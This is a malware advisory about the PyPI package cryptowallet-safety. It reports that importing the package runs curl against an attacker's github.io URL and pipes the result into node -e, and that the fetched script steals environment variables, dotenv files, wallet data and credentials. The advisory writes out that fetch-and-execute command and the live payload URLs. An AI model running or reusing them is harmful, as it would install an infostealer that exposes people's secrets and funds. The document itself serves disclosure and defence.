pypi · Malicious package advisory
Malwarecryptowallet-safety
GHSA-fxjv-8hf9-3m32
Malicious code in cryptowallet-safety (PyPI)
Details
**Severity:** Critical **Affected versions:** `= 0.1.0` ## Source: amazon-inspector (276a350e78e2602882e107586e33d617b3e392e3943c120d99d4213963d7fd9d) On `import cryptowallet_safety`, the top-level `__init__.py` (lines 13-21) shells out to `curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/wallet-safety-check.js` and pipes the response body directly into `node -e` for execution. The fetch is unpinned (mutable URL on a personal github.io site, not the package publisher's domain), unverified (no hash or signature check), executed in an alternate runtime (Node) bypassing Python install-phase sandboxes such as `pip download` / `pip wheel` / build isolation, and errors are swallowed silently. Any developer or CI system that imports this package executes whatever JavaScript the github.io account currently serves — content the attacker can change at any time. The package self-describes as a crypto-wallet safety helper, which makes the import-time dropper especially likely to land in environments handling wallet keys. ## Source: kam193 (cd2f5a911cabd7312224175b40dfeaefc3ae0b83c21747f688e608cb1afd062f) During import, the package downloads a remote JS script that then exfiltrates environmental variables, dotenv files, cryptowallets data and other sensitive informations. It's part of a broader campaign across PyPI, NPM and Github. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-eth-security-auditor Reasons (based on the campaign): - files-exfiltration - exfiltration-env-variables - crypto-related - Downloads and executes a remote malicious script. - exfiltration-crypto - exfiltration-credentials --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/cryptowallet-safety/MAL-2026-4259.json)) **References:** - https://bad-packages.kam193.eu/pypi/package/cryptowallet-safety - https://ddjidd564.github.io/defi-security-best-practices/wallet-verify.py - https://github.com/ddjidd564 - https://github.com/ddjidd564/defi-security-best-practices/tree/gh-pages - https://github.com/orgs/modelcontextprotocol/discussions/761 - https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/cryptowallet-safety/MAL-2026-4259.json - https://pypi.org/project/cryptowallet-safety/0.1.0 - https://github.com/advisories/GHSA-fxjv-8hf9-3m32
Compromised versions (1)
- = 0.1.0
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.